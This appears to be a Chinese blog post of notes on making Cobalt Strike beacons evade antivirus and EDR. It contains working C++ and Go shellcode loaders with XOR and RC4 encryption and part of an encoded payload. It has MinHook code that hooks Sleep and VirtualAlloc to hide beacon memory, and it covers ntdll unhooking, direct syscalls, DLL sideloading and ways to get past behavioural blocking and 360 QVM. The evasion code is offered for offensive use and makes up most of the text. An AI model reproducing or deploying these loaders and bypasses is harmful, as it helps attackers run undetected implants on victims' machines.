hook VirtualAlloc,x86上线,beacon属性分为RW+RX三部分地址。
内存情况
set userwx "false"; set cleanup "false"; set sleep_mask "true"; set stomppe "false"; set obfuscate "false";
sleep_mask开启,hook VirtualAlloc,x86上线,heap内存被动态加密。
个人使用如下配置进行测试
set userwx "false"; set cleanup "false"; set sleep_mask "false"; set stomppe "false"; set obfuscate "false"; set rich_header ""; set smartinject "true"; set allocator "VirtualAlloc";
问题一 以编译时x86为例,实战x64环境可以兼容运行x86。hook VirtualAlloc后只留下真正beacon的内存并修改其属性。
#include <Windows.h> #include <MinHook.h> #include <iostream> #if defined _M_X64 #pragma comment(lib, "libMinHook-x64-v141-mt.lib") #elif defined _M_IX86 #pragma comment(lib, "libMinHook-x86-v141-mt.lib") #endif using namespace std; // 定义内存页属性结构体 struct MemoryAttrib { LPVOID address; // 内存地址 DWORD size; // 内存大小 }; // 定义内存信息结构体 struct MemoryInfo { MemoryAttrib memoryPage[3]; // 能找到符合条件的目标内存最多3个 int index = 0; // 内存下标 BOOL iscleaned = FALSE; //是否清除之前的beacon和shellcode遗留 }; MemoryInfo memoryInfo; /*-------------------------misc func----------------------------------*/ // 删除 shellcode 和 加密beacon void DeleteOther() { MemoryAttrib shellcode = memoryInfo.memoryPage[0]; MemoryAttrib enc_beacon = memoryInfo.memoryPage[1]; printf("[+]shellcode Address at 0x%p\n", shellcode.address); printf("[+]enc_beacon Address at 0x%p\n", enc_beacon.address); // 将内存使用0填充 RtlSecureZeroMemory(shellcode.address, shellcode.size); RtlSecureZeroMemory(enc_beacon.address, enc_beacon.size); DWORD oldProt; //修改属性 VirtualProtect(shellcode.address, shellcode.size, PAGE_READWRITE, &oldProt); VirtualProtect(enc_beacon.address, enc_beacon.size, PAGE_READWRITE, &oldProt); memoryInfo.iscleaned = TRUE; } /*-------------------------define hook func----------------------------------*/ LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); void (WINAPI* OldSleep)(DWORD dwMiliseconds); void (WINAPI MyHookedSleep)(DWORD dwMiliseconds); LPVOID(WINAPI MyHookedVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); template <typename T> inline MH_STATUS MH_CreateHookApiEx( LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) { return MH_CreateHookApi( pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal)); } BOOL Hook() { if (MH_Initialize() != MH_OK) { return false; } // hook VirtualAlloc if (MH_CreateHookApiEx(L"Kernel32.dll", "VirtualAlloc", &MyHookedVirtualAlloc, &OldVirtualAlloc) != MH_OK) { return false; } // hook Sleep if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; } if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; } return true; } /*-------------------------my hook func--------------------------------*/ LPVOID WINAPI MyHookedVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { // 1. shellcode 2. enc-beacon 3. beacon LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); printf("[+]VirtualAlloc: Reserved %d at address 0x%p\n", dwSize, address); memoryInfo.memoryPage[memoryInfo.index].address = address; memoryInfo.memoryPage[memoryInfo.index].size = (DWORD)dwSize; memoryInfo.index++; return address; } void WINAPI MyHookedSleep(DWORD dwMiliseconds) { DWORD oldProt; if (!memoryInfo.iscleaned) { DeleteOther(); } DWORD time = dwMiliseconds; if (time > 1000) { //DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); printf("[+]修改beacon属性为RW: address 0x%p\n", memoryInfo.memoryPage[2].address); VirtualProtect(memoryInfo.memoryPage[2].address, memoryInfo.memoryPage[2].size, PAGE_READWRITE, &oldProt); //HeapEncryptDecrypt(); OldSleep(dwMiliseconds); printf("[+]修改beacon属性为RWX: address 0x%p\n", memoryInfo.memoryPage[2].address); VirtualProtect(memoryInfo.memoryPage[2].address, memoryInfo.memoryPage[2].size, PAGE_EXECUTE_READWRITE, &oldProt); //HeapEncryptDecrypt(); //DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); } else { OldSleep(time); } } /*-------------------------main--------------------------------*/ int main() { if (!Hook()) {return 1; } unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00..."; const size_t length = sizeof(buf); void* shellcode = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcode, buf, length); ((void(*)(void)) shellcode)(); return 0; }
效果图:这里直接修改内存为RWX。
问题二 遍历当前内存页,匹配出带有执行权限的内存地址,标记后进行属性修改。
#include <Windows.h> #include <MinHook.h> #include <iostream> #if defined _M_X64 #pragma comment(lib, "libMinHook-x64-v141-mt.lib") #elif defined _M_IX86 #pragma comment(lib, "libMinHook-x86-v141-mt.lib") #endif using namespace std; // 定义内存页属性结构体 struct MemoryAttrib { LPVOID address; // 内存地址 DWORD size; // 内存大小 }; // 定义内存信息结构体 struct MemoryInfo { MemoryAttrib memoryPage[4]; // 能找到符合条件的目标内存最多3个 int index = 0; // 内存下标 unsigned char* key; // 加解密key BOOL isScanMemory = FALSE; // 是否已查找内存页信息 BOOL iscleaned = FALSE; //是否清除之前的beacon和shellcode遗留 }; MemoryInfo memoryInfo; /*-------------------------misc func----------------------------------*/ // 删除 shellcode 和 加密beacon void DeleteOther() { MemoryAttrib shellcode = memoryInfo.memoryPage[memoryInfo.index - 3]; MemoryAttrib enc_beacon = memoryInfo.memoryPage[memoryInfo.index - 2]; printf("[+]shellcode Address at 0x%p\n", shellcode.address); printf("[+]enc_beacon Address at 0x%p\n", enc_beacon.address); // 0填充 RtlSecureZeroMemory(shellcode.address, shellcode.size); RtlSecureZeroMemory(enc_beacon.address, enc_beacon.size); DWORD oldProt; //修改属性 VirtualProtect(shellcode.address, shellcode.size, PAGE_READWRITE, &oldProt); VirtualProtect(enc_beacon.address, enc_beacon.size, PAGE_READWRITE, &oldProt); memoryInfo.iscleaned = TRUE; } // 扫描内存中带有X属性的内存并标记 void ScanMemoryMap() { // 内存块信息结构体 MEMORY_BASIC_INFORMATION mbi; LPVOID lpAddress = 0; HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId()); int* index = &memoryInfo.index; while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi))) { // 查找 RWX / X /RX if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE || mbi.Protect == PAGE_EXECUTE_READ && mbi.Type == MEM_PRIVATE) { // 保存内存信息 memoryInfo.memoryPage[*index].address = mbi.BaseAddress; memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize; printf("[%d]扫描到地址: 0x%p\n", *index, memoryInfo.memoryPage[*index].address); (*index)++; if ((*index) >= 4) break; } // 更新到下一个内存页 lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); } memoryInfo.isScanMemory = TRUE; } /*-------------------------define hook func----------------------------------*/ void (WINAPI* OldSleep)(DWORD dwMiliseconds); void (WINAPI MyHookedSleep)(DWORD dwMiliseconds); template <typename T> inline MH_STATUS MH_CreateHookApiEx( LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) { return MH_CreateHookApi( pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal)); } BOOL Hook() { if (MH_Initialize() != MH_OK) { return false; } //Sleep if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; } if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; } return true; } /*-------------------------my hook func--------------------------------*/ void WINAPI MyHookedSleep(DWORD dwMiliseconds) { DWORD oldProt; if (!memoryInfo.isScanMemory) { ScanMemoryMap(); } if (!memoryInfo.iscleaned) { DeleteOther(); } DWORD time = dwMiliseconds; if (time > 1000) { MemoryAttrib beacon = memoryInfo.memoryPage[memoryInfo.index - 1]; //DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); printf("[+]修改beacon属性为RW: address 0x%p\n", beacon.address); VirtualProtect(beacon.address, beacon.size, PAGE_READWRITE, &oldProt); //HeapEncryptDecrypt(); OldSleep(dwMiliseconds); printf("[+]修改beacon属性为RX: address 0x%p\n", beacon.address); VirtualProtect(beacon.address, beacon.size, PAGE_EXECUTE_READ, &oldProt); //HeapEncryptDecrypt(); //DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); } else { OldSleep(time); } } /*-------------------------main--------------------------------*/ int main() { if (!Hook()) {return 1; } unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00"; const size_t length = sizeof(buf); void* shellcode = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcode, buf, length); ((void(*)(void)) shellcode)(); return 0; }
效果图:sleep时,beacon属性为RW
没有sleep时,属性为RW+RX三部分
Ref:ShellcodeFluctuation 、Cobalt Strike与YARA:我能拥有你的签名吗? 、Beacon sleep_mask 分析 、Cobalt Strike 4.4: The One with the Reconnect Button 、CobaltStrike检测与对抗 、Analyzing Malware with Hooks, Stomps, and Return-addresses 、GPUSleep. Makes your beacon disappear into GPU memory
栈欺骗 能力之外:
调用栈欺骗技术
初探堆栈欺骗之静态欺骗
工具 kyleavery/AceLdr: Cobalt Strike UDRL for memory scanner evasion 涵盖以上所有bypass。
行为对抗免杀 杀软目前都有主动防御,对恶意行为进行拦截提示,比如这些行为:
注册表操作、添加启动项、添加服务
文件写入、读系统文件、删除文件、移动文件
杀进程、创建进程、加载dll
注入、劫持等
如下几种bypass
1. 替换API 使用相同功能的API进行替换,由于杀软只会针对一部分API进行拦截,对于API不能做到面面俱到的拦截,比如未导出API和底层API,所以这种方法还是有效的。 2. 重写API 完全重写系统的API功能,实现自己的对应功能API,对ring3的行为拦截非常有效。 3. 合理更改调用顺序 有时被拦截的行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软的拦截策略,也可以绕过行为拦截 4. 绕过调用源 直接调用0环API。
关于行为对抗,我建议借鉴学习该项目:CobaltStrike_CNA ,在cs上使用 net user admin /delete
就会被拦截,看一下该项目是怎么绕过的:
通过使用cs的反射dll技术,调用 reflective_dll.dll
调用的是 NetUserAdd
API,比较常见的api了
[利用ReflectiveDLL来武装你的Cobalt Strike](https://uknowsec.cn/posts/notes/利用ReflectiveDLL来武装你的Cobalt Strike.html)
一些绕过AV进行UserAdd的方法总结及实现
unhook API 目的就是获取纯净的 ntdll 以避免 API 函数被hook。
四种方式:
磁盘重载 ntdll
PE 文件映射
挂起的进程获取干净的ntdll
自定义直接跳转
几种unhook手法的学习 - fdx_xdf
自定义跳转函数的unhook方法
Hook免杀实战: 去除杀软的三环钩子_unhook 免杀
bypass Bitdefender
Defeat Bitdefender total security using windows API unhooking to perform process injection - Shells.Systems
项目:
LdrLoadDll-Unhooking-x86-x64/unhook.cpp at main · fdx-xdf/LdrLoadDll-Unhooking-x86-x64
PerunsFart: This is my own implementation of the Perun’s Fart technique by Sektor7
/Freeze: Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods
SYSCALL 简单来说就是跳过api函数调用,直接通过SSN号,利用syscall,直接在内核操作,避免使用API函数。具体原理细节讲不懂。
总结:
首先,为了防止 api 被 hook,提出了 syscall 函数,这产生了地狱之门的项目,然而,当 ntdll 被 hook 时,这种方法就失效了,因此出现了更高级的技术,如“光环之门”,试图通过邻居来获取系统调用号(SSN)。然而,即使获取了 SSN,仍然有可能被安全软件检测到,因为系统调用的签名(sysall)可能会被查杀。为了解决这个问题,出现了“egg_hunter”等技术。但是堆栈的问题还没有解决,我们需要合法的堆栈, SysWhispers2 和 SysWhispers3,它们提出了间接系统调用的方案,进一步提高了对系统调用的隐藏性和逃避性,使得安全工具更难检测到和拦截这些调用
Ref:
Windows系统调用学习笔记(2)3环进0环
通过重写ring3 API函数实现免杀
Syscall笔记 - fdx_xdf
浅谈 Windows Syscall
API函数的调用过程(三环到零环)以及重写WriteProcessMemory三环
SysWhispers3学习
项目:
SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls
白加黑 之前写过一篇关于dll劫持的白加黑:初探DLL劫持 ,再推个项目吧:
SearchAvailableExe: 寻找可利用的白文件
https://github.com/Neo-Maoku/DllMainHijacking
报错的话转发处理下就行了。
void runShellcode() { string data = "37bcc518419......"; // rc4加密 const size_t length = data.size() / 2; unsigned char* buf = (unsigned char*)malloc(length); // 调用函数将十六进制字符串转换为字节型数组 ToBytes(data, buf, length); unsigned char key[] = "key is here"; enc_dec(key, buf); LPVOID shellcode = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, 0x40); memcpy(shellcode, buf, length); void(*func)(); func = (void(*)())shellcode; func(); }
Ref:https://saucer-man.com/information_security/1171.html
堆栈溢出 无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
是个思路,但是有dll的话不如用白加黑。
临时免杀 golang syscall package main import ( "syscall" "unsafe" ) func main() { // shellcode is here data := []byte{0x56, 0xe2,......} key := byte(0xAA) // 解密shellcode for i := 0; i < len(data); i++ { data[i] ^= key } // 加载动态链接库 kernel32, err := syscall.LoadLibrary("kernel32.dll") if err != nil { return } defer syscall.FreeLibrary(kernel32) // 获取 VirtualAlloc 函数地址 virtualAlloc, err := syscall.GetProcAddress(kernel32, "VirtualAlloc") if err != nil { return } // 获取 RtlMoveMemory 函数地址 ntdll, err := syscall.LoadLibrary("ntdll.dll") if err != nil { return } defer syscall.FreeLibrary(ntdll) rtlMoveMemory, err := syscall.GetProcAddress(ntdll, "RtlMoveMemory") if err != nil { return } // 调用 VirtualAlloc 分配内存 mem, _, err := syscall.Syscall6(uintptr(virtualAlloc), 4, 0, // lpAddress (0 for system to determine) uintptr(4096), // dwSize (size of allocation) uintptr(0x1000), // flAllocationType (commit reserved pages) uintptr(0x40), // flProtect (PAGE_EXECUTE_READWRITE) 0, 0) // 执行shellcode _, _, err = syscall.Syscall6(uintptr(rtlMoveMemory), 3, mem, // Destination uintptr(unsafe.Pointer(&data[0])), // Source uintptr(len(data)), // Length 0, 0, 0) syscall.Syscall(mem, 0, 0, 0, 0) }
enc.go
package main import ( "encoding/hex" "fmt" "strings" ) func main() { // 要加密的数据 dataHex := `shellcode is here` dataHex = strings.ReplaceAll(dataHex, "\t", "") dataHex = strings.ReplaceAll(dataHex, "\n", "") dataHex = strings.ReplaceAll(dataHex, "\\x", "") // 解析十六进制字符串为字节切片 data, err := hex.DecodeString(dataHex) if err != nil { fmt.Println("解析十六进制字符串失败:", err) return } // 加密密钥 key := byte(0xAA) // 加密数据 for i := 0; i < len(data); i++ { data[i] ^= key } // 将加密后的内容按 \x 格式输出 encryptedString := "" for _, b := range data { encryptedString += fmt.Sprintf("\\x%02x", b) } fmt.Println("加密后的内容:", encryptedString) }
编译:
go build -ldflags "-H windowsgui" main.go
c++ rc4 #include <Windows.h> #include <string> #include <fstream> #include <iostream> #include "lazy_importer.hpp" using namespace std; #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #define size_b 256 unsigned char sbox[257] = { 0 }; //初始化s表 void init_sbox(unsigned char* key) { unsigned int i, j, k; int tmp; for (i = 0; i < size_b; i++) { sbox[i] = i; } j = k = 0; for (i = 0; i < size_b; i++) { tmp = sbox[i]; j = (j + tmp + key[k]) % size_b; sbox[i] = sbox[j]; sbox[j] = tmp; if (++k >= strlen((char*)key))k = 0; } } //加解密函数 void AES_enc(unsigned char* key, unsigned char* data) { int i, j, k, R, tmp; init_sbox(key); j = k = 0; for (i = 0; i < strlen((char*)data); i++) { j = (j + 1) % size_b; k = (k + sbox[j]) % size_b; tmp = sbox[j]; sbox[j] = sbox[k]; sbox[k] = tmp; R = sbox[(sbox[j] + sbox[k]) % size_b]; data[i] ^= R; } } unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; } void ToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } int main() { string data = "93bf58b44d4d8c000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241514...."; ifstream ifs; ifs.open("sss.txt", ios::in); if (ifs.is_open()) { string line; getline(ifs, line); ifs.close(); } const size_t length = data.size() / 2; // 字节长度 unsigned char* buffer = (unsigned char*)malloc(length); // 调用函数将十六进制字符串转换为字节型数组 ToBytes(data, buffer, length); unsigned char key[] = "baidu.com"; AES_enc(key, buffer); char* mypng = (char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(mypng, buffer, length); ((void(*) ())mypng)(); return 0; }
杂项 添加资源 绕过QVM
加资源文件即可
vs配置免杀 主绕过QVM
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw